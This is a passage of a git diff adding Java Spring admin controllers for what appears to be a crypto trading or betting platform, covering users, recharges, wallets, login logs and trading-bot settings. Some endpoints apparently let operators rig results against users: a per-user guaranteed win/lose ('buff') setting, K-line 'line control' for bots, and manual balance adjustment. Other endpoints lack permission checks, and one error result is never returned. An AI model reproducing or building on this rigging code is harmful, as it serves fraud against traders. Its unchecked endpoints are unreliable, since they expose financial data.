if (StringUtils.isNotBlank(msg)){
AjaxResult.error(msg);
}
//socket通知
webSocketNotice.sendInfoAll(tWithdrawService,2);
return AjaxResult.success();
}
/**
* 用户充值审核
*/
@PreAuthorize("@ss.hasPermi('bussiness:recharge:list')")
@PostMapping("/getAllRecharge")
public AjaxResult getAllRecharge(Integer type) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
String parentId = "";
if (user != null) {
String userType = user.getUserType();
if (user.isAdmin() || ("0").equals(userType)) {
parentId = null;
} else {
parentId = user.getUserId().toString();
}
}
return AjaxResult.success(tAppRechargeService.getAllRecharge(parentId,type));
}
}

285
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java

@ -0,0 +1,285 @@
package com.ruoyi.web.controller.bussiness;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper;
import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper;
import com.ruoyi.bussiness.domain.TAppAsset;
import com.ruoyi.bussiness.domain.TAppUserDetail;
import com.ruoyi.bussiness.domain.vo.UserBonusVO;
import com.ruoyi.bussiness.service.ITAppAssetService;
import com.ruoyi.bussiness.service.ITAppUserDetailService;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.MessageUtils;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import io.swagger.annotations.ApiOperation;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TAppUser;
import com.ruoyi.bussiness.service.ITAppUserService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 玩家用户Controller
*
* @author shenshen
* @date 2023-06-27
*/
@RestController
@RequestMapping("/bussiness/user")
public class TAppUserController extends BaseController {
@Resource
private ITAppUserService tAppUserService;
@Resource
private ITAppAssetService appAssetService;
@Resource
private ITAppUserDetailService userDetailService;
@Resource
private ITWithdrawService tWithdrawService;
@Resource
private WebSocketNotice webSocketNotice;
/**
* 查询admin下的玩家用户列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:list')")
@GetMapping("/list")
public TableDataInfo list(TAppUser tAppUser) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppUser.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TAppUser> list = tAppUserService.getTAppUserList(tAppUser);
// changeAppParentIds(list);
return getDataTable(list);
}
protected void changeUserAppParentIds(TAppUser appUser){
if(appUser != null && !StringUtils.isEmpty(appUser.getAppParentIds())){
String []arr = appUser.getAppParentIds().split(",");
appUser.setAppParentIds(arr[arr.length -1]);
}
}
protected void changeAppParentIds(List<TAppUser> list){
for (TAppUser appUser:list) {
changeUserAppParentIds(appUser);
}
}
/**
* 导出玩家用户列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:export')")
@Log(title = "玩家用户", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAppUser tAppUser) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppUser.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<TAppUser> list = tAppUserService.selectTAppUserList(tAppUser);
changeAppParentIds(list);
ExcelUtil<TAppUser> util = new ExcelUtil<TAppUser>(TAppUser.class);
util.exportExcel(response, list, "玩家用户数据");
}
@PreAuthorize("@ss.hasPermi('bussiness:user:getListByPledge')")
@GetMapping("/getListByPledge")
public TableDataInfo getListByPledge(TAppUser tAppUser) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppUser.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<TAppUser> list = tAppUserService.getListByPledge(tAppUser);
changeAppParentIds(list);
return getDataTable(list);
}
@PreAuthorize("@ss.hasPermi('bussiness:user:selectUnboundAppUser')")
@GetMapping("/selectUnboundAppUser")
public TableDataInfo selectUnboundAppUser(TAppUser tAppUser) {
startPage();
List<TAppUser> list = tAppUserService.selectUnboundAppUser(tAppUser);
changeAppParentIds(list);
return getDataTable(list);
}
/**
* 获取玩家用户详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:query')")
@GetMapping(value = "/{userId}")
public AjaxResult getInfo(@PathVariable("userId") Long userId) {
Map<String, Object> map = new HashMap<>();
TAppUser user = tAppUserService.selectTAppUserByUserId(userId);
// changeUserAppParentIds(user);
TAppUserDetail one = userDetailService.getOne(new LambdaQueryWrapper<TAppUserDetail>().eq(TAppUserDetail::getUserId, userId));
TAppAsset asset = new TAppAsset();
asset.setUserId(userId);
List<TAppAsset> tAppAssets = appAssetService.selectTAppAssetList(asset);
map.put("user", user);
map.put("deteil", one);
map.put("asset", tAppAssets);
return success(map);
}
/**
* 修改玩家用户
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:add')")
@Log(title = "玩家用户", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppUser tAppUser) {
return toAjax(tAppUserService.addTAppUser(tAppUser));
}
/**
* 修改玩家用户
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:edit')")
@Log(title = "玩家用户", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppUser tAppUser) {
return toAjax(tAppUserService.updateTAppUser(tAppUser));
}
/**
* 删除玩家用户
*/
@PreAuthorize("@ss.hasPermi('bussiness:user:remove')")
@Log(title = "玩家用户", businessType = BusinessType.DELETE)
@DeleteMapping("/{userIds}")
public AjaxResult remove(@PathVariable Long[] userIds) {
return toAjax(tAppUserService.deleteTAppUserByUserIds(userIds));
}
@PreAuthorize("@ss.hasPermi('bussiness:user:sendBous')")
@Log(title = "赠送彩金", businessType = BusinessType.UPDATE)
@PostMapping("/sendBous")
public AjaxResult sendBonus(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户
String username = getUsername();
userBounsVO.setCreateBy(username);
appAssetService.sendBouns(userBounsVO);
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:subAmount')")
@Log(title = "人工上下分", businessType = BusinessType.UPDATE)
@PostMapping("/subAmount")
public AjaxResult subAmount(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户
String username = getUsername();
userBounsVO.setCreateBy(username);
int i = appAssetService.subAmount(userBounsVO);
if(i==0){
return success();
}else {
return error();
}
}
@PreAuthorize("@ss.hasPermi('bussiness:user:realName')")
@Log(title = "实名认证审核", businessType = BusinessType.UPDATE)
@PostMapping("/realName")
public AjaxResult realName(@RequestBody TAppUserDetail tAppUserDetail) {
tAppUserService.realName(tAppUserDetail);
//socket通知
webSocketNotice.sendInfoAll(tWithdrawService,3);
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:realName')")
@Log(title = "重置实名认证", businessType = BusinessType.UPDATE)
@PostMapping("/reSetRealName")
public AjaxResult reSetRealName(@RequestBody TAppUserDetail tAppUserDetail) {
tAppUserService.reSetRealName(tAppUserDetail);
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:buff')")
@Log(title = "包输包赢设置", businessType = BusinessType.UPDATE)
@PostMapping("/buff")
public AjaxResult buff(@RequestBody TAppUser tAppUser) {
tAppUserService.updateTAppUser(tAppUser);
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')")
@Log(title = "重置登录密码", businessType = BusinessType.UPDATE)
@PostMapping("/updateLoginPwd")
public AjaxResult updateLoginPwd(@RequestBody TAppUser tAppUser) {
tAppUser.setLoginPassword(SecurityUtils.encryptPassword(tAppUser.getLoginPassword()));
tAppUserService.updateTAppUser(tAppUser);
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')")
@Log(title = "重置交易密码", businessType = BusinessType.UPDATE)
@PostMapping("/updateTransPwd")
public AjaxResult updateTransPwd(@RequestBody TAppUserDetail tAppUser) {
TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId());
String userTardPwd = tAppUser.getUserTardPwd();
if (!StringUtils.isEmpty(userTardPwd)) {
tAppUserDetai.setUserTardPwd(SecurityUtils.encryptPassword(userTardPwd));
}
userDetailService.update(tAppUserDetai, new UpdateWrapper<TAppUserDetail>().eq("user_id", tAppUser.getUserId()));
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:realName')")
@Log(title = "重置交易密码", businessType = BusinessType.UPDATE)
@PostMapping("/updateRealName")
public AjaxResult updateRealName(@RequestBody TAppUserDetail tAppUser) {
TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId());
userDetailService.update(tAppUserDetai, new UpdateWrapper<TAppUserDetail>().eq("user_id", tAppUser.getUserId()));
return success();
}
@PreAuthorize("@ss.hasPermi('bussiness:user:updateUserAppIds')")
@Log(title = "修改玩家用户上级代理", businessType = BusinessType.UPDATE)
@PutMapping("/updateUserAppIds")
public AjaxResult updateUserAppIds(Long appUserId, Long agentUserId) {
return toAjax(tAppUserService.updateUserAppIds(appUserId,agentUserId));
}
@PreAuthorize("@ss.hasPermi('bussiness:user:updateBlackStatus')")
@Log(title = "修改用户拉黑状态", businessType = BusinessType.UPDATE)
@PutMapping("/updateBlackStatus")
public AjaxResult updateBlackStatus (@RequestBody TAppUser tAppUser){
return toAjax(tAppUserService.updateBlackStatus(tAppUser));
}
}

116
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java

@ -0,0 +1,116 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TAppUserDetail;
import com.ruoyi.bussiness.service.ITAppUserDetailService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 用户详细信息Controller
*
* @author ruoyi
* @date 2023-07-26
*/
@RestController
@RequestMapping("/bussiness/detail")
public class TAppUserDetailController extends BaseController
{
@Autowired
private ITAppUserDetailService tAppUserDetailService;
/**
* 查询用户详细信息列表(实名认证)
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:list')")
@GetMapping("/list")
public TableDataInfo list(TAppUserDetail tAppUserDetail)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppUserDetail.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TAppUserDetail> list = tAppUserDetailService.selectTAppUserDetailLists(tAppUserDetail);
return getDataTable(list);
}
/**
* 导出用户详细信息列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:export')")
@Log(title = "用户详细信息", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAppUserDetail tAppUserDetail)
{
List<TAppUserDetail> list = tAppUserDetailService.selectTAppUserDetailList(tAppUserDetail);
ExcelUtil<TAppUserDetail> util = new ExcelUtil<TAppUserDetail>(TAppUserDetail.class);
util.exportExcel(response, list, "用户详细信息数据");
}
/**
* 获取用户详细信息详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tAppUserDetailService.selectTAppUserDetailById(id));
}
/**
* 新增用户详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:add')")
@Log(title = "用户详细信息", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppUserDetail tAppUserDetail)
{
return toAjax(tAppUserDetailService.insertTAppUserDetail(tAppUserDetail));
}
/**
* 修改用户详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:edit')")
@Log(title = "用户详细信息", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppUserDetail tAppUserDetail)
{
return toAjax(tAppUserDetailService.updateTAppUserDetail(tAppUserDetail));
}
/**
* 删除用户详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:detail:remove')")
@Log(title = "用户详细信息", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tAppUserDetailService.deleteTAppUserDetailByIds(ids));
}
}

124
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java

@ -0,0 +1,124 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TAppRecharge;
import com.ruoyi.bussiness.domain.TAppWalletRecord;
import com.ruoyi.bussiness.service.ITAppWalletRecordService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.util.List;
/**
* 用户信息Controller
*
* @author ruoyi
* @date 2023-07-04
*/
@RestController
@RequestMapping("/bussiness/wallet/record")
public class TAppWalletRecordController extends BaseController
{
@Autowired
private ITAppWalletRecordService tAppWalletRecordService;
/**
* 查询用户信息列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:record:list')")
@GetMapping("/list")
public TableDataInfo list(TAppWalletRecord tAppWalletRecord)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TAppWalletRecord> list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord);
return getDataTable(list);
}
/**
* 导出账变信息
*/
// @PreAuthorize("@ss.hasPermi('bussiness:record:export')")
@Log(title = "账变信息", businessType = BusinessType.EXPORT)
@GetMapping("/export")
public void export(HttpServletResponse response, TAppWalletRecord tAppWalletRecord)
{
// LoginUser loginUser = SecurityUtils.getLoginUser();
// SysUser user = loginUser.getUser();
// if(!user.isAdmin()){
// if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
// tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId()));
// }
// }
List<TAppWalletRecord> list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord);
ExcelUtil<TAppWalletRecord> util = new ExcelUtil<TAppWalletRecord>(TAppWalletRecord.class);
util.exportExcel(response, list, "用户信息数据");
}
/**
* 获取用户信息详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:record:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tAppWalletRecordService.selectTAppWalletRecordById(id));
}
/**
* 新增用户信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:record:add')")
@Log(title = "用户信息", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppWalletRecord tAppWalletRecord)
{
return toAjax(tAppWalletRecordService.insertTAppWalletRecord(tAppWalletRecord));
}
/**
* 修改用户信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:record:edit')")
@Log(title = "用户信息", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppWalletRecord tAppWalletRecord)
{
return toAjax(tAppWalletRecordService.updateTAppWalletRecord(tAppWalletRecord));
}
/**
* 删除用户信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:record:remove')")
@Log(title = "用户信息", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tAppWalletRecordService.deleteTAppWalletRecordByIds(ids));
}
@PostMapping("/statisticsAmount")
public AjaxResult statisticsAmount() {
return AjaxResult.success(tAppWalletRecordService.statisticsAmount());
}
}

108
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java

@ -0,0 +1,108 @@
package com.ruoyi.web.controller.bussiness;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TAppuserLoginLog;
import com.ruoyi.bussiness.service.ITAppuserLoginLogService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.core.page.TableDataInfo;
import java.util.List;
/**
* 系统访问记录Controller
*
* @author ruoyi
* @date 2023-06-30
*/
@RestController
@RequestMapping("/bussiness/log")
public class TAppuserLoginLogController extends BaseController
{
@Resource
private ITAppuserLoginLogService tAppuserLoginLogService;
/**
* 查询系统访问记录列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:list')")
@GetMapping("/list")
public TableDataInfo list(TAppuserLoginLog tAppuserLoginLog)
{
startPage();
List<TAppuserLoginLog> list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog);
return getDataTable(list);
}
/**
* 导出系统访问记录列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:export')")
@Log(title = "系统访问记录", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAppuserLoginLog tAppuserLoginLog)
{
List<TAppuserLoginLog> list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog);
ExcelUtil<TAppuserLoginLog> util = new ExcelUtil<TAppuserLoginLog>(TAppuserLoginLog.class);
util.exportExcel(response, list, "系统访问记录数据");
}
/**
* 获取系统访问记录详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tAppuserLoginLogService.selectTAppuserLoginLogById(id));
}
/**
* 新增系统访问记录
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:add')")
@Log(title = "系统访问记录", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppuserLoginLog tAppuserLoginLog)
{
return toAjax(tAppuserLoginLogService.insertTAppuserLoginLog(tAppuserLoginLog));
}
/**
* 修改系统访问记录
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:edit')")
@Log(title = "系统访问记录", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppuserLoginLog tAppuserLoginLog)
{
return toAjax(tAppuserLoginLogService.updateTAppuserLoginLog(tAppuserLoginLog));
}
/**
* 删除系统访问记录
*/
@PreAuthorize("@ss.hasPermi('bussiness:log:remove')")
@Log(title = "系统访问记录", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tAppuserLoginLogService.deleteTAppuserLoginLogByIds(ids));
}
}

154
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java

@ -0,0 +1,154 @@
package com.ruoyi.web.controller.bussiness;
import java.util.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TContractCoin;
import com.ruoyi.bussiness.domain.TCurrencySymbol;
import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO;
import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO;
import com.ruoyi.bussiness.service.ITContractCoinService;
import com.ruoyi.bussiness.service.ITCurrencySymbolService;
import com.ruoyi.bussiness.service.ITSecondCoinConfigService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TBotKlineModel;
import com.ruoyi.bussiness.service.ITBotKlineModelService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 控线配置Controller
*
* @author ruoyi
* @date 2023-08-09
*/
@RestController
@RequestMapping("/bussiness/model")
public class TBotKlineModelController extends BaseController
{
@Autowired
private ITBotKlineModelService tBotKlineModelService;
@Resource
private ITSecondCoinConfigService tSecondCoinConfigService;
@Resource
private ITCurrencySymbolService tCurrencySymbolService;
@Resource
private ITContractCoinService tContractCoinService;
/**
* 查询控线配置列表
*/
@GetMapping("/list")
public TableDataInfo list(TBotKlineModel tBotKlineModel)
{
startPage();
List<TBotKlineModel> list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel);
return getDataTable(list);
}
/**
* 导出控线配置列表
*/
@Log(title = "控线配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TBotKlineModel tBotKlineModel)
{
List<TBotKlineModel> list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel);
ExcelUtil<TBotKlineModel> util = new ExcelUtil<TBotKlineModel>(TBotKlineModel.class);
util.exportExcel(response, list, "控线配置数据");
}
/**
* 获取控线配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:trade-robot:detail')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tBotKlineModelService.selectTBotKlineModelById(id));
}
/**
* 新增控线配置
*/
@Log(title = "控线配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TBotKlineModelVO tBotKlineModel)
{
return toAjax(tBotKlineModelService.insertTBotInfo(tBotKlineModel));
}
/**
* 修改控线配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:trade-robot:edit')")
@Log(title = "控线配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TBotKlineModelVO tBotKlineModel)
{
return toAjax(tBotKlineModelService.updateTBotKlineModel(tBotKlineModel));
}
/**
* 删除控线配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:trade-robot:remove')")
@Log(title = "控线配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tBotKlineModelService.deleteTBotKlineModelByIds(ids));
}
@PostMapping("/symbolList")
public TableDataInfo list()
{
List<TCurrencySymbol> rtn = new ArrayList<>();
List<SymbolCoinConfigVO> coinList = tSecondCoinConfigService.getSymbolList();
for (SymbolCoinConfigVO coin: coinList ) {
if(coin.getMarket().equals("binance")){
TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol();
tCurrencySymbol1.setSymbol(coin.getSymbol());
tCurrencySymbol1.setCoin(coin.getCoin());
tCurrencySymbol1.setShowSymbol(coin.getShowSymbol());
rtn.add(tCurrencySymbol1);
}
}
List<TCurrencySymbol> currencyList = tCurrencySymbolService.getSymbolList();
for (TCurrencySymbol coin: currencyList ) {
TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol();
tCurrencySymbol1.setSymbol(coin.getSymbol());
tCurrencySymbol1.setCoin(coin.getCoin());
tCurrencySymbol1.setShowSymbol(coin.getShowSymbol());
rtn.add(tCurrencySymbol1);
}
List<TContractCoin> contractList = tContractCoinService.getCoinList();
for (TContractCoin coin: contractList ) {
TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol();
tCurrencySymbol1.setSymbol(coin.getSymbol());
tCurrencySymbol1.setCoin(coin.getCoin());
tCurrencySymbol1.setShowSymbol(coin.getShowSymbol());
rtn.add(tCurrencySymbol1);
}
Set<TCurrencySymbol> objects = new TreeSet<>(Comparator.comparing(o->(o.getShowSymbol())));
objects.addAll(rtn);
return getDataTable(Arrays.asList(objects.toArray()));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TCollectionOrder;
import com.ruoyi.bussiness.service.ITCollectionOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 请填写功能名称Controller
*
* @author ruoyi
* @date 2023-09-08
*/
@RestController
@RequestMapping("/bussiness/collectionOrder")
public class TCollectionOrderController extends BaseController
{
@Autowired
private ITCollectionOrderService tCollectionOrderService;
/**
* 查询请填写功能名称列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:list')")
@GetMapping("/list")
public TableDataInfo list(TCollectionOrder tCollectionOrder)
{
startPage();
List<TCollectionOrder> list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder);
return getDataTable(list);
}
/**
* 导出请填写功能名称列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:export')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TCollectionOrder tCollectionOrder)
{
List<TCollectionOrder> list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder);
ExcelUtil<TCollectionOrder> util = new ExcelUtil<TCollectionOrder>(TCollectionOrder.class);
util.exportExcel(response, list, "【请填写功能名称】数据");
}
/**
* 获取请填写功能名称详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tCollectionOrderService.selectTCollectionOrderById(id));
}
/**
* 新增请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:add')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TCollectionOrder tCollectionOrder)
{
return toAjax(tCollectionOrderService.insertTCollectionOrder(tCollectionOrder));
}
/**
* 修改请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:edit')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE)
@PutMapping
